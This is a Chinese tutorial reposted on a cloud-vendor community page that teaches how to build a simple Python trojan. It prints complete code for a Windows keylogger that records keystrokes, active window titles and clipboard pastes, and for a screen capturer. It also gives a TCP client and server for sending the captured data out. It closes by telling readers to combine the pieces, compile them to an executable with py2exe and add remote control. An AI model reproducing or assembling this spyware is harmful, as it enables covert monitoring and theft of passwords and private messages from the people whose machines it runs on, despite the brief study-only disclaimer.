Python編寫簡易木馬程式(轉載烏雲)

來源:互聯網
上載者:User

標籤:dex   nec   聊天   ima   過程   paste   manager   視窗   clip   

Python編寫簡易木馬程式light · 2015/01/26 10:07

 

0x00 準備

文章內容僅供學習研究、切勿用於非法用途!

這次我們使用Python編寫一個具有鍵盤記錄、截屏以及通訊功能的簡易木馬。依然選用Sublime text2 +JEDI(python自動補全外掛程式)來擼代碼,安裝配置JEDI外掛程式可以參照這裡: /tips/?id=4413

首先準備好我們需要的依賴庫,python hook和pythoncom。

下載安裝python hook

下載安裝pythoncom模組:

http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download

如果覺得麻煩,你可以直接使用整合了所有我們所需要的python庫的商業版Activepython(我們可以用他的免費版):

http://www.activestate.com/activepython

0x01 鍵盤記錄器

說起Keylogger,大家的思維可能早已飛向帶有wifi功能的mini小硬體去了。拋開高科技,我們暫且迴歸本質,探探簡易鍵盤記錄器的原理與實現。

Python keylogger鍵盤記錄的功能的實現主要利用了pythoncom及pythonhook,然後就是對windows API的各種調用。Python之所以用起來方便快捷,主要歸功於這些龐大的支援庫,正所謂“人生苦短,快用Python”。

代碼部分:

#!python# -*- coding: utf-8 -*-  from ctypes import *import pythoncomimport pyHookimport win32clipboarduser32 = windll.user32kernel32 = windll.kernel32psapi = windll.psapicurrent_window = None# def get_current_process():    # 擷取最上層的視窗控制代碼    hwnd = user32.GetForegroundWindow()    # 擷取進程ID    pid = c_ulong(0)    user32.GetWindowThreadProcessId(hwnd,byref(pid))    # 將進程ID存入變數中    process_id = "%d" % pid.value    # 申請記憶體    executable = create_string_buffer("\x00"*512)    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)    psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)    # 讀取視窗標題    windows_title = create_string_buffer("\x00"*512)    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)    # 列印    print     print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)    print     # 關閉handles    kernel32.CloseHandle(hwnd)    kernel32.CloseHandle(h_process)# 定義擊鍵監聽事件函數def KeyStroke(event):    global current_window    # 檢測目標視窗是否轉移(換了其他視窗就監聽新的視窗)    if event.WindowName != current_window:        current_window = event.WindowName        # 函數調用        get_current_process()    # 檢測擊鍵是否常規按鍵(非按鍵組合等)    if event.Ascii > 32 and event.Ascii <127:        print chr(event.Ascii),    else:        # 如果發現Ctrl+v(粘貼)事件,就把粘貼板內容記錄下來        if event.Key == "V":            win32clipboard.OpenClipboard()            pasted_value = win32clipboard.GetClipboardData()            win32clipboard.CloseClipboard()            print "[PASTE]-%s" % (pasted_value),        else:            print "[%s]" % event.Key,    # 迴圈監聽下一個擊鍵事件    return True# 建立並註冊hook管理器kl = pyHook.HookManager()kl.KeyDown = KeyStroke# 註冊hook並執行kl.HookKeyboard()pythoncom.PumpMessages()

【知識點】鉤子(Hook):Windows訊息處理機制的一個平台,應用程式可以在上面設定子程以監視指定視窗的某種訊息,而且所監視的視窗可以是其他進程所建立的。

擼代碼時一定要注意嚴格區分大小寫。檢查無誤後啟動keylogger:

然後可以嘗試開啟記事本寫點東西,過程中可以看到我們的keylogger視窗正在對我們的輸入即時記錄:

切換視窗時會自動跟蹤到新視窗(眾:這點功能都沒有還敢叫keylogger嗎!),light教授趁機騷擾一下瘋狗,可以看到我們的keylogger已經跟蹤到QQ聊天視窗,並忠實的記錄下我輸入的一切。

0x02 看看你在幹什麼:編寫一個screenshotter

截屏實現起來更簡單,直接調用幾個gui相關的api即可,我們直接看代碼:

#!python# -*- coding: utf-8 -*-  import win32guiimport win32uiimport win32conimport win32api# 擷取案頭hdesktop = win32gui.GetDesktopWindow()# 解析度適應width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)# 建立裝置描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc)# 建立一個記憶體裝置描述表mem_dc = img_dc.CreateCompatibleDC()# 建立位元影像對象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot)# 至記憶體裝置描述表mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)# 將儲存到檔案中screenshot.SaveBitmapFile(mem_dc, ‘c:\\WINDOWS\\Temp\\screenshot.bmp‘)# 記憶體釋放mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())

看看效果如何:

0x03 綜合運用:完成一個簡易木馬

無論是keylogger記錄下的內容,還是screenshotter截獲的圖片,只存在用戶端是沒有太大意義的,我們需要構建一個簡單server和client端來進行通訊,傳輸記錄下的內容到我們的伺服器上。

編寫一個簡單的TCPclient

#!python# -*- coding: utf-8 -*- import socket# 目標地址IP/URL及連接埠target_host = "127.0.0.1"target_port = 9999# 建立一個socket對象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)# 串連主機client.connect((target_host,target_port))# 發送資料client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")# 接收響應response = client.recv(4096)print response

編寫一個簡單的TCPserver

#!python# -*- coding: utf-8 -*- import socketimport threading# 監聽的IP及連接埠bind_ip = "127.0.0.1"bind_port = 9999server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)server.bind((bind_ip,bind_port))server.listen(5)print "[*] Listening on %s:%d" % (bind_ip,bind_port)def handle_client(client_socket):    request = client_socket.recv(1024)    print "[*] Received:%s" % request    client_socket.send("ok!")    client_socket.close()while True:    client,addr = server.accept()    print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])    client_handler = threading.Thread(target=handle_client,args=(client,))    client_handler.start()

開啟服務端監聽:

用戶端執行:

服務端接收到用戶端的請求並作出響應:

0x04 結語

最後,你需要做的就是把上面三個模組結合起來,一個簡易的具有鍵盤記錄、螢幕並可以發送內容到我們服務端的木馬就完成了。可以使用py2exe把指令碼產生exe可執行檔。當然你還可以繼續發揮,加上遠端控制功能。Py2exe用法可以參考這裡:

http://www.py2exe.org/index.cgi/Tutorial

Enjoy coding~

參考文檔:

《Black Hat Python》 https://www.google.com https://www.python.org/ http://www.py2exe.org/

 

?烏雲知識庫著作權 未經許可 禁止轉載

Python編寫簡易木馬程式(轉載烏雲)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.